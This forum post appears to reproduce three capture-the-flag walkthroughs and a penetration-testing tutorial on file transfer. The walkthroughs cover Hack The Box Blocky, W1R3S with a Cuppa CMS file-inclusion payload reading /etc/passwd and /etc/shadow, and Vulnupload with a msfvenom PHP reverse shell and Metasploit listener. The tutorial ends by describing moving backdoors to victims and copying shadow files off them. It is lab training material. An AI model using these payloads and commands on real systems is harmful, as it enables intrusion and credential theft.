Login

**NINZA** · 05-14-2020, 08:30 AM

0			0

Hello friends!! Today we are going to solve another CTF challenge “Blocky ” which is available online for those who want to increase their skill penetration testing and black box testing. Blocky is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Blocky craft which is designed for beginners.
Since these labs are online available therefore they have static IP and IP of blocky is 10.10.10.37 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.37
1
nmap -sV 10.10.10.37
From the given below image, you can observe we found port 21, 22, 80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser but didn’t get any remarkable clue on its welcome page for the next step.
[Image: 2.png?w=687&ssl=1]

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /phpmyadmin, /wp-admin, /plugin/files and etc which you can confirm from below image.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

After browsing so many directories I found plugin/files a bit interested by executing the following URL in the browser.

[To see content please register here]

1

[To see content please register here]

From given below image you can observe that it has shown two jar file. Let’s download BlockyCore.jar file and then move for its compilation.
[Image: 4.png?w=687&ssl=1]

Using online compilers I had complied blockycore.jar file and found something very interesting in it. It contains login credential sqluser and sqlpass as highlighted in below image.
[Image: 5.png?w=687&ssl=1]

Then I explore

[To see content please register here]

and login into phpmyadmin server using above credential
root: 8YsqfCTnvxAUeduzjNSXe22
1
root: 8YsqfCTnvxAUeduzjNSXe22
[Image: 6.png?w=687&ssl=1]

Then opened the WordPress database for stealing username from here and I found a user login: Notch with user Id 1.
[Image: 7.png?w=687&ssl=1]

Now I try to access victim’s system PTs shell through SSH since port 22 is open as per nmap result and I had also found a user name, therefore, I open a new terminal in kali executed following command to connecting with target network through ssh service.
ssh [email protected]
1
ssh [email protected]
For password, I try above password found in the jar file and got successful login into victims shell.
id
From id result, I came to know Notch is the first user of the system.
[Image: 8.png?w=687&ssl=1]

By executing sudo -l command it tells us that user Notch has full privileged in this machine.
[Image: 9.png?w=687&ssl=1]

Then I moved for root access using the previous same password and again I get root access successfully.
sudo su
1
sudo su
Then inside its home directory, I found the user.txt file and used cat command for reading this file.
ls
cat user.txt
1
2
ls
cat user.txt
Gracefully!! We found the 1st flag of this Lab in user.txt
[Image: 10.png?w=687&ssl=1]

Then I moved into root directory where I found root.txt and again use cat command for reading this file.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
Great!!! We completed this challenge by capturing the 2nd flag in the root.txt file.
[Image: 11.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as W1R3S.inc. The credit for making this VM machine goes to “SpecterWires” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let’s start from getting to know the IP of VM (Here, I have it at 192.168.1.106 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 192.168.1.106 --open
1
nmap -p- -A 192.168.1.106 --open
Awesome!! Nmap has done a remarkable job by dumbing the details of services running on open port 21, 22 and 80.
[Image: 2.png?w=687&ssl=1]

Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser but didn’t get any clue on its home page for the next step.
[Image: 3.png?w=687&ssl=1]

Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /administrator /installation and /wordpress/
dirb

[To see content please register here]

1
dirb

[To see content please register here]

So next I decided to explore

[To see content please register here]

through browser URL and received installation page as shown in given below image. Moreover noticed that the author has used Cuppa CMS.
[Image: 5.png?w=687&ssl=1]

With the help of Google I check out for any exploit related to cuppa CMS. And from Google search result, I found exploit 25971 in its first link.
[Image: 6.png?w=687&ssl=1]

This exploit was pointing toward Cuppa CMS File Inclusion vulnerability. The exploit having a hint for exploiting LFI or RFI vulnerability, taking let help from highlighted hint let’s try to exploit our victim.
[Image: 7.png?w=687&ssl=1]

According to our condition, we need to paste the malicious code in URL as
http:192.168.1.106 /administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
1
http:192.168.1.106 /administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
for exploiting LFI vulnerability.
Sadly!! Again didn’t get anything to accept a following blank page of configuration.
[Image: 8.png?w=687&ssl=1]

After wasting a lot of time on the browser I decided to use curl for exploiting LFI vulnerability for obtaining etc/password file.
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd

[To see content please register here]

1
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd

[To see content please register here]

When I executed the above command for exploring etc/password file, it successfully works and I found the first username “w1r3s”.
[Image: 9.png?w=687&ssl=1]

Then again I executed below command for obtaining a password file by using the same process.
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow

[To see content please register here]

1
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow

[To see content please register here]

Successfully I found the salt password of user w1r3s as shown in given below image. Then I copied this password in a text file as pass.txt for cracking it with John the ripper.
[Image: 10.png?w=687&ssl=1]

Next, I had used John the ripper for cracking pass.txt and from given below image you can observe the highlighted text “computer” as a plain text password.
Hence we found username: w1r3s and password: computer
[Image: 11.png?w=687&ssl=1]

If you remember the output result of nmap then it was showing port 22 is open for SSH. We had also grabbed the username and password, now without wasting timing let login into SSH using above credential username: w1r3s and password: the computer.
ssh [email protected]
1
ssh [email protected]
Wonderful!! We have successfully access PTs shell through SSH of victims system.
id
lsb_release -a
1
2
id
lsb_release -a
[Image: 12.png?w=687&ssl=1]

Since the author has given two the challenges i.e. (i) take root access (ii) capture the Flag.
Let’s take root access through sudo -i command as shown in below image.
Congratulation!! We got root login successfully.
For capturing flag I look into all directories and found the flag.txt file. With help of cat command, I successfully captured the flag and complete all challenges of this VM.
ls -la
cat flag.txt
1
2
ls -la
cat flag.txt
After Solving challenge in this lab is not that much hectic therefore it is a good task for beginners.
[Image: 13.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as Vulnupload. The credit for making this vm machine goes to “Mohammad Khreesha” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.102 but you will have to find your own)
netdiscover
[Image: 1.PNG?w=687&ssl=1]

Use nmap for port enumeration
nmap -p- -A 192.168.1.102 —open
[Image: 2.PNG?w=687&ssl=1]

Nmap scan tells us that port 22 and 80 are open,as port 80 is running http we open it in our browser. When we open the ip we find a login page we use dirb to enumerate the directories and found 2 important directories called /flag/ and /admin_area/
dirb

[To see content please register here]

We first open the flag directory and find the 1st flag.
[Image: 4.PNG?w=687&ssl=1]

Then we open the directory called /admin_area/.
[Image: 5.PNG?w=687&ssl=1]

The page itself doesn’t tell much but when we take a look at the source code we find our 2nd flag and the username and password to login through the home page.
[Image: 6.PNG?w=687&ssl=1]

When we login through the home page, we find a page that can be used to upload files.
[Image: 7.PNG?w=687&ssl=1]

We create a php reverse shell payload using msfvenom and upload it to our target machine.
[Image: 8.png?w=687&ssl=1]

Now dirb scan showed us a page called uploaded_files we use an educated guess and execute our file in that directory.
[Image: 9.png?w=687&ssl=1]

Now we setup our listener before executing our shell. As soon as we execute our shell we will get the reverse shell of the target system.
msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.18
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 10.1.png?w=687&ssl=1]

Now we find a file called hint.txt, when we open it we find our 3rd flag.
[Image: 10.png?w=687&ssl=1]

We find all the files that belong to user technawi, and we find a file called crendtials.txt in /etc/mysql/conf.d/credentials.txt
[Image: 11.png?w=687&ssl=1]

When we open the file we get our 4th flag and the password for user technawi.
[Image: 12.png?w=687&ssl=1]

Now we login through ssh using these credentials in the target machine.
ssh [email protected]
[Image: 14.png?w=687&ssl=1]

Now we open the file called flag.txt and find our 5th and final flag.
[Image: 15.png?w=687&ssl=1]

In penetration testing, generally, we get stuck when we transfer or download any file from the compromised machine or another host machine in a network. Therefore today you will learn which method you should follow for downloading any file from compromised or another host system. All following methods are helpfully in penetration testing and also used for general purpose.
Let’s start!!
File Transfer Protocol (FTP)
You all are familiar with the working of FTP server their let’s start today’s tutorial from FTP service.
When you found port 21 is open, it means FTP service is running on a remote machine and you are actively looking for downloading a text file from destination machine then you can follow below 2 methods.
1st method use command-line
First, connect to FTP server using host IP, enter login credential and then execute get command with the file name you want to download.
ftp 192.168.1.106
get raj.txt
1
2
ftp 192.168.1.106
get raj.txt
[Image: 1.png?w=687&ssl=1]

2nd method use Browser
The same job can be executed using the browser by adding host IP in URL as

[To see content please register here]

, enter username and password for authentication and download your file.
[Image: 2.png?w=687&ssl=1]

Install Python FTP server
Generally, many people preferred vsftpd server for FTP service for sharing a file over port 21 as done above but if you are not compatible with vsftpd then you can go with 2nd option “Python FTP server” that will allow sharing of the file through port 21.
sudo apt-get install python-pyftpdlib
1
sudo apt-get install python-pyftpdlib
[Image: 3.1.png?w=687&ssl=1]

Here I want to give access to only a particular folder “aarti” for sharing its data.
sudo python -m pyftpdlib -p 21
1
sudo python -m pyftpdlib -p 21
[Image: 3.2.png?w=687&ssl=1]

So when the host machine will enter destination address in URL “

[To see content please register here]

” and you will get anonymous login, now download the file.
[Image: 3.3.png?w=687&ssl=1]

Hypertext Transfer Protocol (HTTP)
Sharing file through web directory “html”
Another most well-known service for file transfer is HTTP service which uses port 80. Service Apache should be activated in your machine for transferring file through web directories and after then you can move any file into HTML directory for sharing it through http service.
So here we are transferring the putty.exe file into html through the following command.
cp putty.exe /var/www/html
1
cp putty.exe /var/www/html
[Image: 3.png?w=687&ssl=1]

Now let’s download putty.exe in our machine from the destination server. Open your favorite browser and browse file through server address 192.168.1.106/putty.exe in URL. By applying this technique you can access any file from inside web directory i.e. /var/www/html of the destination machine.
[Image: 4.0.png?w=687&ssl=1]

Sharing through Python Http server
If you are not compatible with the above http method then you choose 2nd option “Simple Http server” which also a python script that uses port 80 for sharing a file in a network through web browser.
Here again, I want to give access to only a particular folder “demo” for sharing its data.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 4.1.png?w=687&ssl=1]

So when the host machine will enter destination address in URL “

[To see content please register here]

” and you will get access for the shared folder, now download the file.
[Image: 4.2.png?w=687&ssl=1]

HFS Tool
In the above Http file sharing method we had to use Ubuntu and Linux for transferring a file over port 80 and allowed another host machine to download it through a web browser.
Now if you are a windows user then you can use HTS tool for performing the same job. It is the most popular tool used file transfer between different platforms.
Steps:

Download the HFS and run the application
Now drag and drop the file you want to share through the web browser.

Now when the user of another host machine will open Windows IP as URL

[To see content please register here]

in his web browser he can download the shared file.
[Image: 4.4.png?w=687&ssl=1]

Netcat
Netcat is known as Swiss knife which is used for multiple purposes therefore we are going to use it in file transfer.
Use following command for downloading shared file from destination server
Syntax: nc [options] [listening port] > [path to store downloaded file]
nc -lvp 5555 > /root/Desktop/raj.txt
1
nc -lvp 5555 > /root/Desktop/raj.txt
[Image: 5.png?w=687&ssl=1]

Type following command for sharing any file to host machine in the network.
Syntax: nc host IP host port < file.txt
nc 192.168.1.108 5555 < raj.txt
1
nc 192.168.1.108 5555 < raj.txt
[Image: 6.png?w=687&ssl=1]

Now you can observe that we have successfully downloaded the raj.txt file at the desktop of our host machine.
[Image: 7.png?w=687&ssl=1]

Curl
Curl command-line tool for transferring data using various protocols. And is also used for download the data from any website or host machine, the following command will download the putty.exe file from the website.
curl -O

[To see content please register here]

1
curl -O

[To see content please register here]

Similarly, execute given below command for downloading putty WWW.
curl -O

[To see content please register here]

1
curl -O

[To see content please register here]

Wget
Execute given below command for downloading a particular file. The downloaded file stores in a current directory. It gives an indication of download progress, size, date and time though downloading the file.
Enter given below command for downloading any file from html directory of Apache server.
wget

[To see content please register here]

1
wget

[To see content please register here]

Similarly, execute given below command for downloading putty WWW.
wget

[To see content please register here]

1
wget

[To see content please register here]

Trivial File Transfer Protocol (TFTP)
TFTP service was used to read and write any file using a remote connection, it used UDP port 69 for sharing file and do not uses authentication hence it is less secure than FTP.
Here I had created a demo.txt file inside the tftp folder for sharing.
[Image: 11.png?w=687&ssl=1]

Metasploit contain a module that provides TFTP service for file sharing.
use auxiliary/server/tftp
msf auxiliary(server/tftp) > set srvhost 192.168.1.108
msf auxiliary(server/tftp) > set TFTPROOT /root/tftp
msf auxiliary(server/tftp) > exploit
1
2
3
4
use auxiliary/server/tftp
msf auxiliary(server/tftp) > set srvhost 192.168.1.108
msf auxiliary(server/tftp) > set TFTPROOT /root/tftp
msf auxiliary(server/tftp) > exploit
[Image: 12.png?w=687&ssl=1]

Now open a command prompt and execute given below command for downloading the demo.txt file in your system.
Syntax: tftp -i host IP GET file name.txt
tftp -i 192.168.1.108 GET demo.txt
1
tftp -i 192.168.1.108 GET demo.txt
As you can observe from given below image it has store downloaded in the current directory.
[Image: 13.png?w=687&ssl=1]

SMB Server using Python script
Now we will use a python script that activates SMB service in our Linux machine. You can visit

[To see content please register here]

for this python script.
I copied the python code from Github and past it into a text file as smbserver.py in the desktop folder. Now execute give below command for a shared folder “raj”.
python smbserver.py raj /root/share
1
python smbserver.py raj /root/share
[Image: 14.png?w=687&ssl=1]

Downloading the file from Linux SMB server in Windows Machine
Since we are aware of smb service which is running in host machine 192.168.1.108 and being using window platform we can access it share folder through Run command prompt.
[Image: 15.png?w=687&ssl=1]

Hence you can observe that we had successfully access folder “raj” and found two text file user and pass in it.
In this way, we can use smb python script for sharing file between Windows and Linux machine.
[Image: 16.png?w=687&ssl=1]

Downloading the file from Linux SMB server in Ubuntu Machine
If you are an Ubuntu user then you can use smbclient service for accessing share folder of smb server.
apt-get install smbclient
1
apt-get install smbclient
Now execute given below command for accessing shared folder of the server.
smbclient -L 192.168.1.108
1
smbclient -L 192.168.1.108
From given below image can observe it has shown share folder is “RAJ”
[Image: 17.png?w=687&ssl=1]

Now execute given below command for accessing share folder raj and download the data present inside it.
smbclient //192.168.1.1.108/raj
1
smbclient //192.168.1.1.108/raj
Since folder raj has two text file user.txt and pass.txt and we are going to download user.txt through below command.
get user.txt
[Image: 18.png?w=687&ssl=1]

Download file through Meterpreter
In penetration testing when we compromise target machine and own his meterpreter session using Metasploit then inside meterpreter we can execute the following command for downloading any file from victim’s machine.
meterpreter> download raj.txt /root/Desktop/
1
meterpreter> download raj.txt /root/Desktop/
[Image: 19.png?w=687&ssl=1]

Use Cat command
cat is very beautiful command and can perform the remarkable job if you will use it wisely, suppose you found any text file in host machine and you are unable to download it then open that file through cat command.
For example, I want to know the text inside user.txt then I will execute the following command then copy that text into a new text document and save it in our machine.
[Image: 20.png?w=687&ssl=1]

Download file using Window PowerShell
If you are a windows user and have to command shell access then you can choose PowerShell for downloading any web server file. Execute given below command in command prompt as administrator.
PowerShell
(new-object System.Net.WebClient).DownloadFile('http://192.168.1.1.106/putty.exe',’d:\data\putty.exe')
1
(new-object System.Net.WebClient).DownloadFile('http://192.168.1.1.106/putty.exe',’d:\data\putty.exe')
From given below image you can observe we had successfully download putty.exe in d: drive.
[Image: 21.png?w=687&ssl=1]

Download file using BITSAdmin
BITSAdmin is a command-line utility for window platform that allows the user to download and uploading of a file. If you want to download any file from http then you can use the following command. It is similar to PowerShell work under admin privileged. Therefore run cmd as administrator and execute given below command for downloading putty.
bitsadmin /transfer job

[To see content please register here]

F:\putty.exe
1
bitsadmin /transfer job

[To see content please register here]

F:\putty.exe
[Image: 22.png?w=687&ssl=1]

Now it will start downloading and also gives updates while downloading such as job type i.e downloading, priority and status.
[Image: 23.png?w=687&ssl=1]

From given below image you can observe that we had downloaded putty.exe in f: drive.
[Image: 24.png?w=687&ssl=1]

Sharing File through PHP File Server
PHP is also available for the same purpose when the above method is not compatible with sharing file between two hosts. You need to execute the following command to turn on the HTTP listener. As you know, I have saved a shell script on the Desktop, therefore, we are running below command on Desktop.
php -S 0.0.0.0:80
1
php -S 0.0.0.0:80
[Image: 1.png?w=687&ssl=1]

Now you can use wget or other application for downloading shell script from remote address i.e. 192.168..1.103/shell.elf
[Image: 2.png?w=687&ssl=1]

SCP File Transfer
Secure copy protocol (SCP) is a means of securely moving any files between a local host and a remote host or between two remote hosts. It is based on the Secure Shell (SSH). Here I have created a new file scp.txt inside /home/raaz and then try to transfer this file to a remote machine with help of the following command.
Syntax: scp SourceFile user@host:~/path of the directory
scp scp.txt [email protected]:~/
1
scp scp.txt [email protected]:~/
[Image: 5.png?w=687&ssl=1]

Now let’s confirm the transformation by inspecting remote directory and as you can observe we have successfully received the scp.txt file in our remote pc.
Similarly, we can transfer any backdoor from the attacker machine to victim’s machine or can copy some system files such as /etc/passwd and /etc/shadow from the victim’s machine.
[Image: 6.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis